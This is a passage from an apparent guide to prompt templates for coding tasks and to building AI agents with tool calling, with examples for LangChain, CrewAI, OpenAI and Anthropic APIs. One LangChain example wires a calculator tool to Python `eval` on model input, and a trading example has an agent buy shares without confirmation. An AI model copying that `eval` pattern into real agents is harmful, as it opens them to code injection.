5. Parallel processing - Multi-threading/processing
6. Batching - Group operations
7. Memory optimization - Reduce allocations

Constraints:
- Maintain functionality
- [Any limitations]

Provide:
- Optimized code
- Performance comparison
- Big O analysis (before/after)
- Benchmark results
- Trade-offs explanation

Optimize this database query:

Query:
[paste SQL query]

Database: [type and version]
Schema:
[paste relevant schema]

Performance issue:
- Current execution time: [time]
- Number of rows: [approximate]
- Explain plan: [if available]

Optimization techniques to apply:
1. Index optimization - Add/modify indexes
2. Query rewriting - More efficient SQL
3. Join optimization - Better join strategy
4. Subquery elimination - Use joins instead
5. Denormalization - If appropriate
6. Partitioning - For large tables
7. Caching - Query result caching

Provide:
- Optimized query
- Index recommendations (CREATE INDEX statements)
- Explain plan comparison
- Expected performance improvement
- Trade-offs and considerations

Design a caching strategy for [application]:

Application: [description]
Performance goals: [targets]

Data to cache:
1. [Data type 1: e.g., user profiles]
2. [Data type 2: e.g., product catalog]
3. [Data type 3: e.g., API responses]

For each:
- Update frequency: [how often changes]
- Access pattern: [read/write ratio]
- Size: [data size]
- TTL: [time-to-live]

Cache layers:
- Application cache: [in-memory/Redis/Memcached]
- CDN: [for static assets]
- Browser cache: [cache headers]
- Database query cache: [if applicable]

Requirements:
- Cache invalidation strategy
- Cache warming (if needed)
- Cache stampede prevention
- Fallback to source
- Monitoring and metrics

Provide:
- Complete caching implementation
- Cache key design
- Invalidation logic
- Configuration
- Performance impact estimate

Optimize frontend performance for [web application]:

Current issues:
- Load time: [current]
- First Contentful Paint: [current]
- Time to Interactive: [current]
- Bundle size: [current]

Technology: [React/Vue/Angular/vanilla JS]

Optimization strategies:
1. Code splitting - Dynamic imports
2. Lazy loading - Components, images
3. Bundle optimization - Tree shaking, minification
4. Asset optimization - Image compression, WebP
5. Caching - Service workers, cache headers
6. Critical CSS - Inline critical styles
7. JavaScript optimization - Defer/async loading
8. Font optimization - Font display strategy
9. CDN usage - Static asset delivery
10. Performance monitoring - Real user metrics

Provide:
- Optimization implementation
- Webpack/Vite configuration
- Before/after metrics
- Lighthouse score improvements
- Implementation checklist

Create a project structure for [project type]:

Project: [name and description]
Language/Framework: [stack]
Project type: [library/CLI/web app/microservice]

Structure requirements:
- Source code organization
- Test directory structure
- Configuration files
- Documentation location
- Build/deployment files
- Environment management

Best practices:
- Separation of concerns
- Clear module boundaries
- Test co-location: [yes/no]
- Configuration: [centralized/distributed]

Provide:
- Complete directory tree
- Purpose of each directory/file
- Example files for key locations
- .gitignore
- README structure

Create a project structure for a Python FastAPI microservice:

Project: User Authentication Service
Framework: FastAPI, SQLAlchemy, Alembic
Type: REST API microservice

Requirements:
- Clean architecture (domain, application, infrastructure)
- Separate tests
- Docker support
- Database migrations
- Environment configs

Provide:
- Full directory structure
- Key file templates
- Configuration files
- Docker setup
- Makefile for common tasks

Set up configuration management for [application]:

Application: [description]
Framework: [framework]

Environments:
- Development
- Testing
- Staging
- Production

Configuration needs:
1. [Database connections]
2. [API keys and secrets]
3. [Feature flags]
4. [Logging levels]
5. [External service URLs]

Requirements:
- Environment variables
- Config file support: [format]
- Secrets management
- Configuration validation
- Default values
- Override hierarchy
- Type safety

Provide:
- Configuration module/class
- Config file templates
- .env.example
- Validation schema
- Loading mechanism
- Documentation

Set up a build system for [project]:

Project type: [type]
Language: [language]

Build tasks:
1. Compile/transpile: [if needed]
2. Dependency installation
3. Run tests
4. Lint code
5. Generate documentation
6. Build artifacts: [what to produce]
7. Package for distribution

Tools: [Make/npm scripts/Gradle/Maven/etc.]

Requirements:
- Development build: fast, with source maps
- Production build: optimized, minified
- Watch mode: auto-rebuild
- Clean task: remove build artifacts
- CI/CD integration

Provide:
- Build configuration (Makefile/package.json/etc.)
- Build scripts
- All task definitions
- Usage documentation
- CI/CD integration examples

Create a development environment setup for [project]:

Project: [description]
Tech stack: [full stack]

Developer needs:
1. Language runtime: [version]
2. Database: [type and version]
3. Cache: [if needed]
4. Message queue: [if needed]
5. External services: [list]

Setup approaches:
- Local installation: [installation guide]
- Docker Compose: [containerized setup]
- Dev containers: [VS Code dev containers]

Requirements:
- One-command setup
- Seed data: [yes/no]
- Hot reload: [yes/no]
- Environment isolation
- Team consistency

Provide:
- docker-compose.yml
- Setup script (setup.sh)
- README with instructions
- .env.example
- Seed data scripts
- Troubleshooting guide

Generate a commit message for these changes:

Changes:
[paste git diff or describe changes]

Commit message format: [Conventional Commits/Angular/Custom]

Guidelines:
- Type: feat/fix/docs/style/refactor/test/chore
- Scope: [affected component/module]
- Subject: imperative, present tense, lowercase, no period
- Body: motivation and contrast with previous behavior
- Footer: breaking changes, issue references

Example format:
type(scope): subject

body

footer

Generate: commit message following the format

Design a Git branching strategy for [team/project]:

Project: [description]
Team size: [number]
Release cycle: [frequency]
Environment: [dev/staging/prod]

Strategy type: [Git Flow/GitHub Flow/Trunk-Based/Custom]

Requirements:
- Branch naming convention
- Protected branches
- PR/MR workflow
- Code review process
- CI/CD integration
- Hotfix process
- Release tagging

Provide:
- Complete branching model diagram
- Branch naming patterns
- Workflow documentation
- Protection rules
- Merge strategies
- Example scenarios

Create Git hooks for [project]:

Project: [description]
Language: [language]

Hooks needed:
1. pre-commit:
   - [Run linter]
   - [Format code]
   - [Check for secrets]
   - [Run quick tests]
2. commit-msg:
   - [Validate commit message format]
3. pre-push:
   - [Run full test suite]
   - [Check branch name]

Framework: [Husky/pre-commit/custom]

Requirements:
- Easy team adoption
- Performance: < [time] seconds
- Skip option: [for emergencies]
- Error messages: clear and helpful
- Cross-platform: Windows/Mac/Linux

Provide:
- Hook scripts
- Installation instructions
- Configuration files
- Documentation
- Bypass instructions

Help resolve this Git merge conflict:

Conflict:
[paste conflict with <<< === >>> markers]

Context:
- Branch: [current branch]
- Merging from: [source branch]
- File: [file path]
- Purpose of file: [what it does]

Changes:
- Your changes: [describe]
- Their changes: [describe]

Resolution strategy:
- Keep both: [combine changes]
- Accept theirs: [use incoming]
- Accept yours: [keep current]
- Custom: [manual merge]

Provide:
- Resolved code
- Explanation of resolution
- Testing recommendations
- Prevention tips for future

Create a [language] script to process files:

Task: [describe file processing task]

Input:
- File type: [CSV/JSON/XML/text/binary]
- Location: [path or pattern]
- Size: [approximate]

Processing:
1. [Operation 1: e.g., parse]
2. [Operation 2: e.g., transform]
3. [Operation 3: e.g., validate]
4. [Operation 4: e.g., aggregate]

Output:
- Format: [format]
- Destination: [where to save]

Requirements:
- Handle large files: streaming/chunking
- Error handling: malformed data
- Logging: progress and errors
- Performance: [speed requirements]
- Memory efficient: [constraints]

Provide:
- Complete script
- Usage examples
- Error handling
- Testing approach

Create a function to transform data from [format A] to [format B]:

Input format:
[describe or paste example]

Output format:
[describe or paste example]

Transformation rules:
1. [Rule 1: field mapping]
2. [Rule 2: calculation]
3. [Rule 3: formatting]
4. [Rule 4: filtering]

Requirements:
- Handle missing data: [strategy]
- Data validation: [rules]
- Type conversion: [specific conversions]
- Nested structures: [how to handle]
- Preserve metadata: [yes/no]
- Performance: process [N] records/second

Provide:
- Transformation function
- Input/output examples
- Validation logic
- Error handling
- Unit tests

Create a [language] function for string processing:

Task: [specific string operation]

Examples:
Input: [example 1] → Output: [expected output]
Input: [example 2] → Output: [expected output]

Requirements:
- Handle unicode: [yes/no]
- Case sensitivity: [sensitive/insensitive]
- Trim whitespace: [yes/no]
- Handle empty strings: [behavior]
- Performance: [for strings up to N chars]
- Regex needed: [yes/no]

Edge cases to handle:
- [Edge case 1]
- [Edge case 2]
- [Edge case 3]

Provide:
- Function implementation
- Docstring/comments
- Test cases
- Performance notes

Implement the [algorithm name] algorithm in [language]:

Algorithm: [name and description]

Specifications:
- Input: [data type and constraints]
- Output: [data type]
- Time complexity target: [Big O]
- Space complexity target: [Big O]

Requirements:
- Follow [specific variant/approach]
- Handle edge cases: [list]
- Optimize for: [time/space/readability]
- Include: documentation, examples
- Type hints: [yes/no]

Provide:
- Algorithm implementation
- Complexity analysis
- Test cases
- Comparison with alternatives
- Usage examples

Implement the quicksort algorithm in Python:

Specifications:
- Input: List of comparable elements
- Output: Sorted list
- Time complexity: O(n log n) average
- Space complexity: O(log n) for recursion

Requirements:
- In-place sorting
- Median-of-three pivot selection
- Handle duplicates correctly
- Iterative version (optional)
- Type hints and docstring
- Handle empty and single-element lists

Provide:
- Implementation
- Complexity explanation
- Test cases
- Comparison with built-in sort

Help me plan the implementation of [feature]:

Feature description:
[detailed description of what the feature should do]

Current system:
- Architecture: [describe]
- Tech stack: [list]
- Relevant components: [list]

Requirements:
- User stories: [list or describe]
- Constraints: [technical, business]
- Performance: [expectations]
- Security: [concerns]

Planning needed:
1. Technical design - Architecture and components
2. Database changes - Schema modifications
3. API changes - New endpoints or modifications
4. UI changes - User interface updates
5. Testing strategy - How to test
6. Rollout plan - Phased or all-at-once
7. Risks - Potential issues
8. Effort estimation - Time and resources

Provide:
- Detailed implementation plan
- Task breakdown
- Technical specifications
- Diagrams (sequence, component)
- Risk mitigation strategies
- Testing checklist

Help me choose between [technology A] and [technology B] for [use case]:

Use case: [detailed description]

Requirements:
- Functional: [what it needs to do]
- Non-functional: [performance, scale, etc.]
- Team expertise: [current skills]
- Timeline: [how soon needed]
- Budget: [constraints]

Options:
1. [Technology A]
   - Pros: [if known]
   - Cons: [if known]
2. [Technology B]
   - Pros: [if known]
   - Cons: [if known]

Compare on:
1. Suitability for use case
2. Learning curve
3. Community and ecosystem
4. Performance characteristics
5. Scalability
6. Maintenance burden
7. Cost (licensing, infrastructure)
8. Integration with existing stack
9. Long-term viability
10. Migration path (if switching)

Provide:
- Detailed comparison
- Recommendation with reasoning
- Implementation considerations
- Learning resources
- Proof of concept suggestions

Design an architecture for [system]:

System description:
[what the system should do]

Requirements:
- Functional: [features]
- Non-functional:
  - Users: [number and type]
  - Scale: [requests/day, data volume]
  - Availability: [uptime requirement]
  - Latency: [response time requirement]
  - Regions: [geographic distribution]

Constraints:
- Budget: [limitations]
- Team: [size and expertise]
- Timeline: [deadlines]
- Technology: [any mandated technologies]

Design considerations:
- Architectural pattern: [microservices/monolith/serverless/etc.]
- Data storage: [SQL/NoSQL/hybrid]
- Caching strategy
- Message queuing: [if needed]
- API design
- Security architecture
- Scalability approach
- Disaster recovery

Provide:
- High-level architecture diagram
- Component descriptions
- Data flow diagrams
- Technology stack recommendations
- Scalability strategy
- Cost estimation
- Trade-offs explanation
- Implementation phases

Help me estimate effort for this task:

Task: [description]

Scope:
1. [Subtask 1]
2. [Subtask 2]
3. [Subtask 3]

Context:
- Team size: [number]
- Team experience: [junior/mid/senior]
- Codebase familiarity: [new/familiar/expert]
- Tech stack: [technologies involved]
- Dependencies: [external dependencies]

Include:
1. Development time - Coding
2. Testing time - Unit, integration, E2E
3. Code review time
4. Documentation time
5. Deployment time
6. Buffer - For unknowns and issues

Risks that could increase estimate:
- [Known risks]

Provide:
- Detailed breakdown by subtask
- Time estimates (best/likely/worst case)
- Assumptions
- Risk factors
- Recommendations to reduce effort

Create a code review checklist for [project type]:

Project: [description]
Language/Framework: [stack]

Review categories:
1. Functionality
   - Does it work as intended?
   - Edge cases handled?
   - Error handling adequate?

2. Code Quality
   - Readability
   - Maintainability
   - DRY principle
   - SOLID principles
   - Design patterns appropriately used

3. Performance
   - Algorithm efficiency
   - Database query optimization
   - Caching where beneficial
   - Resource cleanup

4. Security
   - Input validation
   - Authentication/authorization
   - Sensitive data handling
   - Common vulnerabilities checked

5. Testing
   - Unit tests present and adequate
   - Integration tests if needed
   - Test coverage acceptable
   - Edge cases tested

6. Documentation
   - Code comments where needed
   - API documentation updated
   - README updated if needed
   - Breaking changes documented

7. Best Practices
   - Style guide followed
   - Naming conventions
   - Project patterns maintained

Provide:
- Comprehensive checklist
- Severity levels (blocker/major/minor)
- Examples of what to look for
- Common issues for this stack

❌ Bad: "Create a React component"
✅ Good: "Create a React 18 functional component using TypeScript 5.0 and hooks"

❌ Bad: "Fix this bug"
✅ Good: "Fix this bug in a Python 3.11 FastAPI application. The endpoint should validate email using pydantic, but currently accepts invalid formats."

✅ "Create a function that must:
- Handle 10,000+ items efficiently
- Use no external libraries
- Work in Python 3.8+
- Include type hints
- Have O(n log n) time complexity or better"

✅ "Provide:
1. Complete implementation
2. Unit tests with pytest
3. Usage examples
4. Docstring with parameters and returns
5. Error handling for edge cases"

# First prompt:
"Create a user authentication system for a Flask app"

# After seeing output, refine:
"Update the authentication system to:
- Use JWT tokens instead of sessions
- Add refresh token rotation
- Implement rate limiting on login
- Add multi-factor authentication support"

# Further refinement:
"Add comprehensive tests for the MFA flow including:
- TOTP generation and validation
- Backup codes
- QR code generation for app setup"

"The previous implementation has an issue: [describe issue].
Please revise to [specific fix needed].
Keep [what was correct].
Change [what needs changing].
Ensure [specific requirement]."

"Review this PR:
- File 1: [description of changes]
- File 2: [description of changes]

Focus on:
1. Security issues (especially [specific concern])
2. Performance with [specific data volume]
3. [Specific pattern] usage
4. Test coverage for [critical path]

Our standards:
- [Style guide]
- [Code coverage minimum]
- [Specific practices for this codebase]"

"Explain this code as if teaching a [level] developer:

[code]

Include:
1. Line-by-line walkthrough
2. Key concepts and why they're used
3. Common mistakes to avoid
4. How to extend or modify
5. Related patterns or approaches
6. Resources for learning more"

# Step 1: Error Analysis
"Analyze this error: [error and stack trace]"

# Step 2: Root Cause
"What are the possible root causes?"

# Step 3: Solution
"Provide a fix for the most likely cause, with explanation"

# Step 4: Prevention
"How can I prevent this error in the future? Add validation or tests."

# Step 5: Related Issues
"What related issues might exist in this code?"

"Provide production-ready code including:
- Error handling for all error cases
- Input validation
- Logging at appropriate levels
- Configuration via environment variables
- Security best practices
- Performance optimization
- Comprehensive tests (unit and integration)
- Documentation (docstrings and README)
- Type hints/annotations
- Example usage"

"Working on [project name] - [brief description]
Architecture: [pattern]
Stack: [technologies]
Recent context: [what was just done]
Current task: [what you're doing now]
Constraints: [relevant limitations]

[Specific request]"

"Provide 3 different approaches to [problem]:

1. [Approach 1 criteria: e.g., most performant]
2. [Approach 2 criteria: e.g., most maintainable]
3. [Approach 3 criteria: e.g., simplest]

For each include:
- Implementation
- Pros and cons
- Use cases
- Performance characteristics"

# Version 1:
"Create a basic [feature]"

# Version 2:
"Enhance the [feature] to support [new requirement]"

# Version 3:
"Refactor for [quality: performance/maintainability/scalability]"

# Version 4:
"Add comprehensive error handling and logging"

# Version 5:
"Create production deployment configuration"

User Query -> Agent -> [Plan] -> [Execute Tools] -> [Observe] -> [Reason] -> Response
                ↑                                                              ↓
                └──────────────────── Memory ────────────────────────────────┘

from langchain.agents import initialize_agent, Tool
from langchain.llms import OpenAI

tools = [
    Tool(
        name="Search",
        func=search_tool,
        description="Useful for searching the web"
    ),
    Tool(
        name="Calculator",
        func=calculator,
        description="Useful for math calculations"
    )
]

agent = initialize_agent(
    tools=tools,
    llm=OpenAI(temperature=0),
    agent="zero-shot-react-description"
)

agent.run("What is 25% of the GDP of France?")

from llama_index import VectorStoreIndex, SimpleDirectoryReader
from llama_index.agent import OpenAIAgent
from llama_index.tools import QueryEngineTool

# Load documents
documents = SimpleDirectoryReader('data').load_data()
index = VectorStoreIndex.from_documents(documents)

# Create query engine tool
query_tool = QueryEngineTool.from_defaults(
    query_engine=index.as_query_engine(),
    name="knowledge_base",
    description="Useful for answering questions about company docs"
)

# Create agent
agent = OpenAIAgent.from_tools([query_tool])
agent.chat("What's our vacation policy?")

# AutoGPT pseudocode
while not task_complete:
    # 1. Think about what to do next
    thought = llm.think(context, goal)

    # 2. Decide on action
    action = llm.decide_action(thought)

    # 3. Execute action
    result = execute(action)

    # 4. Update memory
    memory.add(thought, action, result)

    # 5. Check if goal achieved
    if llm.is_goal_achieved(goal, memory):
        break

from crewai import Agent, Task, Crew

# Define agents
researcher = Agent(
    role="Research Analyst",
    goal="Find accurate information",
    tools=[search_tool, scrape_tool]
)

writer = Agent(
    role="Content Writer",
    goal="Write engaging content",
    tools=[grammar_tool]
)

# Define tasks
research_task = Task(
    description="Research AI agent frameworks",
    agent=researcher
)

write_task = Task(
    description="Write a blog post about findings",
    agent=writer
)

# Create crew
crew = Crew(
    agents=[researcher, writer],
    tasks=[research_task, write_task]
)

result = crew.kickoff()

// C# example
var kernel = Kernel.CreateBuilder()
    .AddOpenAIChatCompletion("gpt-4", apiKey)
    .Build();

// Add plugins (tools)
kernel.ImportPluginFromType<MathPlugin>();
kernel.ImportPluginFromType<SearchPlugin>();

// Enable automatic function calling
var result = await kernel.InvokePromptAsync(
    "What's the square root of the GDP of USA in billions?"
);

from haystack.agents import Agent
from haystack.tools import WebSearch, Calculator

agent = Agent(
    llm=llm,
    tools=[WebSearch(), Calculator()],
    max_iterations=10
)

agent.run("How many days until the next solar eclipse?")

Thought: I need to find the current weather
Action: search("weather in San Francisco")
Observation: Temperature is 65°F, sunny
Thought: Now I have the answer
Answer: It's 65°F and sunny in San Francisco

Plan:
1. Search for France GDP
2. Calculate 25% of that number
3. Return result

Execute:
Step 1: [search tool] -> $2.8 trillion
Step 2: [calculator] -> $700 billion
Step 3: [return] -> "25% of France's GDP is $700 billion"

Attempt 1: [tries solution] -> FAILED
Reflection: "I failed because I didn't check edge cases"
Attempt 2: [improved solution] -> SUCCESS

                    Problem
                   /   |   \
               Path1 Path2 Path3
              /  \    |      |
            A    B    C      D

# Typical implementation
memory = ConversationBufferMemory()
memory.save_context(
    {"input": "Hi, I'm Alice"},
    {"output": "Hello Alice!"}
)
memory.save_context(
    {"input": "What's my name?"},
    {"output": "Your name is Alice"}
)

from langchain.memory import VectorStoreRetrieverMemory
from langchain.vectorstores import Chroma

# Store memories in vector database
memory = VectorStoreRetrieverMemory(
    retriever=Chroma.from_texts(
        texts=past_conversations,
        embedding=embeddings
    ).as_retriever(k=5)
)

Event 1: "User prefers Python over JavaScript"
Event 2: "User is working on ML project"
Event 3: "User has deadline on Friday"

tools = [
    {
        "name": "get_weather",
        "description": "Get current weather for a location",
        "parameters": {
            "type": "object",
            "properties": {
                "location": {"type": "string"},
                "unit": {"type": "string", "enum": ["celsius", "fahrenheit"]}
            }
        }
    }
]

response = openai.ChatCompletion.create(
    model="gpt-4",
    messages=messages,
    tools=tools,
    tool_choice="auto"
)

# Track token usage
class CostTracker:
    def __init__(self):
        self.total_tokens = 0
        self.total_cost = 0

    def track(self, prompt_tokens, completion_tokens):
        self.total_tokens += prompt_tokens + completion_tokens
        # GPT-4 pricing
        cost = (prompt_tokens * 0.00003 +
                completion_tokens * 0.00006)
        self.total_cost += cost
        return cost

# Prevent dangerous actions
FORBIDDEN_TOOLS = ["delete_database", "send_money", "system_shutdown"]

def safe_execute(tool_name, params):
    if tool_name in FORBIDDEN_TOOLS:
        return "Error: Tool not allowed"

    # Validate parameters
    if not validate(params):
        return "Error: Invalid parameters"

    return execute_tool(tool_name, params)

# Retry logic
def execute_with_retry(agent, query, max_retries=3):
    for attempt in range(max_retries):
        try:
            return agent.run(query)
        except Exception as e:
            if attempt == max_retries - 1:
                raise
            # Exponential backoff
            time.sleep(2 ** attempt)

# Log all agent actions
logger.info({
    "timestamp": datetime.now(),
    "query": user_query,
    "agent_thoughts": thoughts,
    "tools_used": [tool.name for tool in tools_used],
    "tokens_used": token_count,
    "latency_ms": latency,
    "success": success
})

# BAD: No stop condition
while True:
    action = agent.think()
    execute(action)

# GOOD: Max iterations
max_iter = 10
for i in range(max_iter):
    if goal_achieved():
        break
    action = agent.think()
    execute(action)

# BAD: Too many tools confuse the agent
agent = Agent(tools=[tool1, tool2, ..., tool50])

# GOOD: Selective tool loading
relevant_tools = select_tools_for_task(task_type)
agent = Agent(tools=relevant_tools)

# BAD: Vague instructions
agent.run("Do something with the data")

# GOOD: Clear, specific goal
agent.run("""
Analyze sales_data.csv and:
1. Calculate total revenue
2. Find top 5 products
3. Create a summary report
""")

support_agent = Agent(
    name="Support Agent",
    role="Customer support specialist",
    tools=[
        SearchKnowledgeBase(),
        CheckOrderStatus(),
        CreateTicket(),
        SendEmail()
    ],
    instructions="""
    1. Greet customer warmly
    2. Understand their issue
    3. Search knowledge base first
    4. Check order status if relevant
    5. Create ticket if unable to resolve
    6. Always confirm resolution
    """
)

research_agent = Agent(
    name="Research Assistant",
    tools=[
        WebSearch(),
        ArxivSearch(),
        ReadPDF(),
        SummarizeText(),
        TakeNotes()
    ],
    workflow="plan-and-execute",
    max_iterations=20
)

result = research_agent.run(
    "Research latest developments in quantum computing and write a summary"
)

data_agent = Agent(
    name="Data Analyst",
    tools=[
        PythonREPL(),  # Execute Python code
        QueryDatabase(),
        CreateVisualization(),
        ExportResults()
    ],
    memory=ConversationMemory()
)

data_agent.chat("Analyze user_behavior.csv and find patterns")

# Start with single-agent, few tools
agent = Agent(
    llm=llm,
    tools=[search, calculator]  # Just 2 tools
)

# Scale up as needed

# BAD
Tool(name="tool1", description="Does stuff")

# GOOD
Tool(
    name="search_knowledge_base",
    description="Searches company documentation. Use when user asks about policies, procedures, or internal information. Input: search query as string. Output: relevant document excerpts."
)

# Test each component separately
assert search_tool("test query") is not None
assert calculator_tool("2+2") == 4

# Then test agent
response = agent.run("What is 2+2?")
assert "4" in response

# For critical actions, ask for confirmation
def execute_tool(tool, params):
    if tool.requires_confirmation:
        print(f"About to: {tool.name}({params})")
        if input("Confirm? (y/n): ") != "y":
            return "Action cancelled by user"
    return tool.run(params)

# Example: A simple weather tool
def get_weather(location: str, units: str = "celsius") -> dict:
    """
    Get current weather for a location.

    Args:
        location: City name or coordinates
        units: Temperature units (celsius/fahrenheit)

    Returns:
        dict: Weather information
    """
    return {
        "temperature": 22,
        "conditions": "sunny",
        "location": location,
        "units": units
    }

User Input
    ↓
LLM Processing
    ↓
Decision Point: Need Tool?
    ├─ No → Generate Response
    └─ Yes → Select Tool & Parameters
              ↓
         Execute Tool
              ↓
         Get Results
              ↓
         Feed Back to LLM
              ↓
         Generate Final Response

User: "What's the weather in San Francisco and should I bring an umbrella?"

LLM: [Decides to use weather tool]
Tool Call: get_weather(location="San Francisco", units="fahrenheit")

Tool Result: {
  "temperature": 65,
  "conditions": "partly cloudy",
  "precipitation_chance": 20
}

LLM Response: "The weather in San Francisco is currently 65°F and partly cloudy
with only a 20% chance of precipitation. An umbrella probably isn't necessary,
but you might want to bring a light jacket."

{
  "name": "get_stock_price",
  "description": "Get the current stock price for a given ticker symbol",
  "parameters": {
    "type": "object",
    "properties": {
      "ticker": {
        "type": "string",
        "description": "Stock ticker symbol (e.g., AAPL, GOOGL)"
      },
      "exchange": {
        "type": "string",
        "enum": ["NYSE", "NASDAQ", "LSE"],
        "description": "Stock exchange"
      }
    },
    "required": ["ticker"]
  }
}

{
  "name": "send_email",
  "description": "Send an email to one or more recipients. Use this when the user explicitly requests to send an email or when an action requires email notification. Do not use for general email composition help.",
  "parameters": {
    "type": "object",
    "properties": {
      "to": {
        "type": "array",
        "items": {"type": "string"},
        "description": "List of recipient email addresses. Must be valid email format."
      },
      "subject": {
        "type": "string",
        "description": "Email subject line. Should be concise and descriptive."
      },
      "body": {
        "type": "string",
        "description": "Email body content. Can include HTML formatting if html_format is true."
      },
      "html_format": {
        "type": "boolean",
        "description": "Whether to send as HTML email. Default is false (plain text).",
        "default": false
      }
    },
    "required": ["to", "subject", "body"]
  }
}

# User: "What's 15% of 250?"

# Model decides to use calculator
tool_call = {
    "name": "calculate",
    "parameters": {
        "expression": "0.15 * 250"
    }
}

# Execute tool
result = execute_tool(tool_call)  # Returns: {"result": 37.5}

# Model generates response
response = "15% of 250 is 37.5"

# User: "Compare the weather in NYC and LA"

# Model makes parallel calls
tool_calls = [
    {
        "name": "get_weather",
        "parameters": {"location": "New York City"}
    },
    {
        "name": "get_weather",
        "parameters": {"location": "Los Angeles"}
    }
]

# Execute in parallel
results = parallel_execute(tool_calls)

# Model synthesizes response
response = "NYC is 45°F and rainy, while LA is 72°F and sunny.
LA has much better weather today."

# User: "Buy 10 shares of the highest performing tech stock today"

# Step 1: Get top performers
tool_call_1 = {
    "name": "get_top_stocks",
    "parameters": {"sector": "technology", "limit": 1}
}
result_1 = {"ticker": "NVDA", "price": 875.50}

# Step 2: Execute purchase
tool_call_2 = {
    "name": "buy_stock",
    "parameters": {
        "ticker": "NVDA",
        "quantity": 10,
        "price": 875.50
    }
}
result_2 = {"status": "success", "order_id": "12345"}

# Model confirms
response = "I've purchased 10 shares of NVDA at $875.50 each.
Order ID: 12345"

# User: "Debug why the API is returning 500 errors"

# Iteration 1: Check logs
tool_call = {"name": "get_logs", "parameters": {"service": "api", "level": "error"}}
result = {"errors": ["Database connection timeout"]}

# Iteration 2: Check database
tool_call = {"name": "check_database", "parameters": {"check": "connections"}}
result = {"active_connections": 100, "max_connections": 100}

# Iteration 3: Get database config
tool_call = {"name": "get_config", "parameters": {"service": "database"}}
result = {"max_connections": 100}

# Model synthesizes findings
response = "The API is failing because the database has reached its
connection limit (100/100). You need to either increase max_connections
in the database config or implement connection pooling."

import openai

# Define tools
tools = [
    {
        "type": "function",
        "function": {
            "name": "get_weather",
            "description": "Get the current weather in a location",
            "parameters": {
                "type": "object",
                "properties": {
                    "location": {
                        "type": "string",
                        "description": "City name"
                    },
                    "units": {
                        "type": "string",
                        "enum": ["celsius", "fahrenheit"]
                    }
                },
                "required": ["location"]
            }
        }
    }
]

# Make API call
response = openai.chat.completions.create(
    model="gpt-4",
    messages=[{"role": "user", "content": "What's the weather in Boston?"}],
    tools=tools,
    tool_choice="auto"  # Let model decide when to use tools
)

# Check if model wants to call a tool
if response.choices[0].message.tool_calls:
    tool_call = response.choices[0].message.tool_calls[0]

    # Execute the function
    if tool_call.function.name == "get_weather":
        import json
        args = json.loads(tool_call.function.arguments)
        result = get_weather(**args)

        # Send result back to model
        messages = [
            {"role": "user", "content": "What's the weather in Boston?"},
            response.choices[0].message,
            {
                "role": "tool",
                "tool_call_id": tool_call.id,
                "content": json.dumps(result)
            }
        ]

        final_response = openai.chat.completions.create(
            model="gpt-4",
            messages=messages
        )

        print(final_response.choices[0].message.content)

import anthropic

client = anthropic.Anthropic()

# Define tools
tools = [
    {
        "name": "get_weather",
        "description": "Get the current weather in a given location",
        "input_schema": {
            "type": "object",
            "properties": {
                "location": {
                    "type": "string",
                    "description": "The city and state, e.g. San Francisco, CA"
                },
                "unit": {
                    "type": "string",
                    "enum": ["celsius", "fahrenheit"],
                    "description": "The unit of temperature"
                }
            },
            "required": ["location"]
        }
    }
]

# Make API call
message = client.messages.create(
    model="claude-3-5-sonnet-20241022",
    max_tokens=1024,
    tools=tools,
    messages=[{"role": "user", "content": "What's the weather in San Francisco?"}]
)

# Handle tool use
if message.stop_reason == "tool_use":
    tool_use = next(block for block in message.content if block.type == "tool_use")

    # Execute tool
    tool_result = get_weather(**tool_use.input)

    # Continue conversation
    response = client.messages.create(
        model="claude-3-5-sonnet-20241022",
        max_tokens=1024,
        tools=tools,
        messages=[
            {"role": "user", "content": "What's the weather in San Francisco?"},
            {"role": "assistant", "content": message.content},
            {
                "role": "user",
                "content": [
                    {
                        "type": "tool_result",
                        "tool_use_id": tool_use.id,
                        "content": str(tool_result)
                    }
                ]
            }
        ]
    )

    print(response.content[0].text)

from langchain.agents import initialize_agent, Tool
from langchain.agents import AgentType
from langchain.llms import OpenAI

# Define tools
tools = [
    Tool(
        name="Calculator",
        func=lambda x: eval(x),
        description="Useful for mathematical calculations. Input should be a math expression."
    ),
    Tool(
        name="Weather",
        func=get_weather,
        description="Get current weather. Input should be a city name."
    )
]

# Initialize agent
llm = OpenAI(temperature=0)
agent = initialize_agent(
    tools,
    llm,
    agent=AgentType.ZERO_SHOT_REACT_DESCRIPTION,
    verbose=True
)

# Run agent
result = agent.run("What's the weather in NYC and what's 15% of 200?")

# Tool definitions for local models
tools = [
    {
        "type": "function",
        "function": {
            "name": "get_current_time",
            "description": "Get the current time",
            "parameters": {"type": "object", "properties": {}}
        }
    }
]

# Format prompt with tool definitions
prompt = f"""You have access to the following tools:
{json.dumps(tools, indent=2)}

To use a tool, respond with JSON in this format:
{{"tool": "tool_name", "parameters": {{}}}}

User: What time is it?
Assistant:"""

# Model generates tool call
response = model.generate(prompt)
# {"tool": "get_current_time", "parameters": {}}

# Parse and execute
tool_call = json.loads(response)
result = execute_tool(tool_call)

# Feed back to model
final_prompt = f"{prompt}\n{response}\nTool result: {result}\nAssistant:"
final_response = model.generate(final_prompt)

# ❌ Bad: Vague names
def get()  # Get what?
def process_data()  # What kind of processing?
def send()  # Send what, where?

# ✅ Good: Specific names
def get_user_profile()
def calculate_compound_interest()
def send_email_notification()

# ❌ Bad: Minimal description
{
    "name": "search",
    "description": "Search for stuff"
}

# ✅ Good: Detailed description
{
    "name": "search_knowledge_base",
    "description": """Search the company knowledge base for documents and articles.

    Use this tool when users ask questions that require company-specific information,
    policies, or documentation. The search uses semantic similarity to find relevant
    content. Returns top 5 most relevant results with titles and snippets.

    Examples of when to use:
    - "What's our vacation policy?"
    - "How do I submit an expense report?"
    - "Find documentation about our API"
    """
}

def transfer_money(from_account: str, to_account: str, amount: float):
    """Transfer money between accounts."""

    # Validate inputs
    if not from_account or not to_account:
        raise ValueError("Account IDs cannot be empty")

    if amount <= 0:
        raise ValueError("Amount must be positive")

    if amount > 10000:
        raise ValueError("Amount exceeds single transaction limit")

    # Check account format
    if not re.match(r'^\d{10}$', from_account):
        raise ValueError("Invalid account ID format")

    # Execute transfer
    return execute_transfer(from_account, to_account, amount)

def get_stock_price(ticker: str) -> dict:
    """Get stock price with robust error handling."""
    try:
        # Validate ticker
        ticker = ticker.upper().strip()

        # Make API call
        response = stock_api.get_quote(ticker)

        return {
            "success": True,
            "ticker": ticker,
            "price": response.price,
            "timestamp": response.timestamp
        }

    except InvalidTickerError:
        return {
            "success": False,
            "error": f"Invalid ticker symbol: {ticker}",
